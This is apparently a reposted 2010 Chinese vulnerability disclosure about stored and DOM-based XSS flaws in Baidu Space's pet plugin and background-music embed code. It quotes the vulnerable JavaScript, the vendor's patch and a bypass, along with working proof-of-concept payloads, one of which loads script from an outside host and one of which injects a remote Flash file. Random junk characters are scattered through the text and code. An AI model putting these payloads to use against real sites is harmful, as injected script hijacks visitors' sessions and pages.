百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. & U& ^ e) |% c- k% j/ p% Q
+ W' ?/ K' P2 q# C
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. , b7 h, `4 W9 Y: Q3 |
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
: t" f6 ?8 h! j0 C6 s
, ^5 n4 h' i0 I将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> - ?/ C; a0 J. T
其中BdUtil.insertWBR为
! q7 E; l( o& b- Afunction(text, step) { 6 m- m2 c" o- x: C
var textarea = textAreaCache || getContainer();
" |9 @+ F9 W3 B if (!textarea) { ( g% r( ^1 ?0 z$ h6 R+ b3 z' d9 u/ v
return text; # F5 `# k% n' `4 z* d
} 9 f4 F0 h, G" L% p3 B) x q
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); + s+ W% a+ q1 ~! H# V5 Q
var string = textarea.value; $ F3 `; m3 ]3 h, o( k5 l, T
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
' }+ d& b, O. f2 O var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); % i9 d& A1 f* D9 c; w
return result; ) k* B1 w: T* a2 ~) K
} 4 ?; U5 \: [- C, l% K/ a; T
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
6 m! J. n' @5 k! c7 t9 ]( G) ^) f测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> % R: k; U6 p4 C- C7 M- T& F% b
# u6 j7 l* D; M9 T/ d9 a. o' n% Z二:creatbgmusic() Dom-Xss Bug
3 R; N4 u- E% r" a百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
- |) h" m1 @- W* c I
% V8 q, g& ?3 d# w- V在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
4 n2 I1 F, N+ C: ?3 t& Y
& y$ l1 M' [: Q: zfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { + J2 b6 y$ w- D, G7 w
//传入的murl赋值到bgmusic1和bgmusic2中
- _4 u- J5 _* B, k) ?9 C. y //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
$ A+ \( y, @) J8 u) }3 n* q- G8 Z var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 3 |# g1 X# W e; }% q
if (musicnum <= 1) { 1 R/ r6 }3 _0 e
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 2 I. ?, q) [; _ Z0 p0 q
} ( W _1 |1 ?! U! G9 m2 |7 x0 t
bgmusic1 += "</OBJECT>";
# l; ^3 ]/ N" I) m var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
1 k! M/ \- Z. R+ o- z if (musicnum <= 1) { . [0 F4 Z$ M: w& G
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
4 R# y C0 e/ n% x* Z! ` }
4 x* m' Z( |5 v) x+ i bgmusic2 += "> </EMBED>"; - ?% `) Q' G* c9 F
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 8 |3 S( | e+ v' `: ?+ G$ Y
var bgmus = detectWMP();
: e4 w) R0 A9 y" r7 ?4 [ if (functype == "FckMusicHelper") { 7 K& Y% k* M+ p6 `, G @; m8 B
if (bgmus.installed) {
/ k# L6 ~8 o }# q3 B/ \ if (bgmus.type == "IE") {
" C/ u' h& A2 A return bgmusic1; 0 H; Q2 ^7 @# V9 c% W
} else if (bgmus.type == "NS") {
: ]$ O6 m' f2 J; p return bgmusic2;
- Z' t& h& Z8 t7 r6 s8 {- R }
9 B2 ~% i: @( q8 i4 @ } else {
9 y/ C0 z' F0 t; i return bgmusic3;
$ a7 s( Q0 z% h# v }
' V% I0 U" [( C } else {
( ~ e8 ]$ c3 V/ W4 U if (bgmus.installed) {
% B$ R3 V" f- k1 d5 F' r //document.write 直接输出bgmusic变量 导致xss
+ i: Y' n/ j+ L if (bgmus.type == "IE") {
) ^$ _9 U' _( [. [0 D4 \ document.write(bgmusic1); . H: A5 x6 f T) D$ C, t
} else if (bgmus.type == "NS") {
/ x0 ?. E e6 u+ m; h" w document.write(bgmusic2); , U+ B$ l* u. H& [" `" z* ^
} 3 q) {; i" h) F1 X( ]2 K7 x
} else { & L+ M. j8 f# [2 b
document.write(bgmusic3);
9 {( T1 Y1 s" v1 N1 {! P. ~ } 8 ~+ \* O6 B" C
return ""; % u, d" @' b, V# F
} 5 ^3 Q! {- \, g$ J
} 9 a, T, c4 \+ G4 ?' _: f/ D
% o$ N2 G: P. I7 R. u
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
6 d8 @3 k0 q1 S% r
. P' O8 z8 y3 d$ kfunction initBlogTextForFCK(){
! T z* Y7 |: x9 o: V//fck init music
: h1 F$ @; q0 ]+ `4 pif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
6 l1 `$ C2 x/ a' `( b Hvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
& e& d, S1 t' C4 hvar isAutoPlay=true; ! P% b6 B a- ]9 P
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. # C0 N5 X' L' ]3 u# z* }0 D9 w
var img=imgBox;
! B5 q! s* Z' ]8 W" x$ h* Y, o if(img.getAttribute(’rel’)){ % e) S) L. g/ O) C
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
; D P( |5 t5 Y var musicDiv = document.createElement("SPAN"); . F* g/ N% A( q' \; m [
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
5 F1 K- b" V) L7 r : ~% j# ?+ C4 ]8 g- {
..........................
! W9 t4 J5 k' w! ^6 R2 ?" N 3 `1 a9 a8 H' I
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. / _ y) }+ Y* a& G" t0 _+ `
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); % j! h8 S! G, l- K* q2 Y4 v
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); , U: _ t- @0 w/ P2 i/ a7 O
musicDiv.innerHTML=shtml;
4 B* a" H* e: G8 i! ]' ^1 J i--;n--; - i5 M/ P& ~8 a
}
+ f2 j: ^6 C+ f' {6 u, O, F} % t( L9 S- ]6 p% ^1 S' ~8 X: K
7 m+ V* m( u+ S9 m* R( q
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
3 z; g& F( i6 q, J
! E+ Z: }2 K$ f/ x3 x7 ^: `测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
5 U+ H/ [- M, h
4 |1 o# a8 R0 v/ Q: i等待官方补丁 0 a {7 n1 Y; x: f& I6 D9 }. b
r8 H) [3 y. z: k
update 2010年5月13日
- g+ j" R2 {3 C* R; u' i, ~& G$ m. z5 ^" u/ [$ ]3 E
官方补丁:
9 I6 i7 O& v3 {9 ^* o8 ?% r0 c) O C
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); a! Q) h$ k2 @3 L% V
改为:
, |) V' [3 B9 V4 A2 g) P. X' tvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 4 n( _0 f5 C- P* G( }3 Z
; ?: I* v0 k1 }) W' |. Y9 J- m( U
update 2010年5月13日 21:50:37 9 {5 P# \2 u. x6 w! J* g
: r6 O, {: `! t补丁存在漏洞 没有过滤" 可以继续跨:
Y: P# K- A, x4 H) Q
5 C3 F1 M# H* j" s- U6 V% xNEW POC:
4 X7 z. h# B% }. a7 U% u2 y) ~0 r+ E2 w- s+ y+ ~$ w' z9 ]; M
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" & C: `/ ?9 R6 d8 l, j! M* j
+ B/ d* Y1 i0 lallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
: k2 B( h: ^, }$ X8 s
2 H! H+ k$ W3 u' u |